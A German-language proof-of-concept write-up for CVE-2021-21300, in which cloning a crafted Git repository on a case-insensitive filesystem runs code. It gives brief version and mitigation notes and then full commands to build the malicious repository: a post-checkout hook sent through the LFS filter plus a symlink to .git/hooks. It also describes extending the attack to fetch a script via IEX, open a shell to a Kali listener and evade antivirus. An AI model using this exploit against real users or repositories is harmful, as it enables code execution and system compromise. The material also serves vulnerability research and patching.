
Proof-of-Concept-Exploit für CVE-2021-21300, der Remote-Codeausführung durch Klonen eines bösartigen Git-Repositorys mit Symlink- und Filter-Missbrauch auf case-insensitiven Dateisystemen demonstriert.
In mehreren Git-Versionen wird die Verarbeitung von symbolischen Links (Symlinks) nicht streng gehandhabt. Wenn Dateien auf einem Dateisystem, das zwischen Groß- und Kleinschreibung unterscheidet (z. B. Linux), in Git hochgeladen werden und dann ein Host mit einem Dateisystem, das nicht zwischen Groß- und Kleinschreibung unterscheidet (z. B. Windows), das bösartige Repository klont, kann dies zur Ausführung von Remote-Befehlen führen.
Von 2.15 bis einschließlich 2.30.1
Version aktualisieren
Wie folgt:
Deaktivieren Sie Git-Symlinks: git config --global core.symlinks false
Deaktivieren Sie den Prozessfilter (normalerweise von LFS verwendet). Überprüfen Sie mit git config --show-scope --get-regexp 'filter\..*\.process'
.git/hooks).System: Ubuntu x64
Erforderlich: Installation von git und git-lfs
Die Ausführung von git lfs install kann einen Fehler melden:
Error: Failed to call git rev-parse --git-dir: exit status 128
Kann ignoriert werden.
Wenn 'Git LFS initialized' erscheint, ist die Installation abgeschlossen.
System: Windows 10 x64
Git for Windows: Git-2.17.1-64-bit
(https://www.npackd.org/p/git64/2.17.1.2)
Die Installation von Git für Windows sollte mit den Standardeinstellungen erfolgen.
Es gibt viele entsprechende Online-Tutorials, daher nicht näher erläutert.
Führen Sie die folgenden Befehle aus:
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [eigene Repository-URL]
$ git push -u origin main
Führen Sie in der PowerShell (als Administrator) unter Windows 10 den folgenden Befehl aus:
git clone -c core.symlinks=true [eigene Repository-URL]
Wenn nach dem Klonen 'PWNED' erscheint, war die Remote-Befehlsausführung erfolgreich.
Man sieht, dass beim Klonen der Befehl in der Datei post-checkout ausgeführt wurde.
Die Idee ist, mit IEX ein Skript herunterzuladen und dann über Kali einen Listener zu starten, um eine Shell zu erhalten. Die meisten Skripte werden jedoch erkannt und blockiert. Mit einer Antivirus-Umgehung (Bypass) sollte dies möglich sein.
Fügen Sie im Verzeichnis die Skriptdatei hack.sh hinzu.
Inhalt wie folgt:
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"
Ändern Sie den in post-checkout ausgeführten Befehl, um das Skript auszuführen.
printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout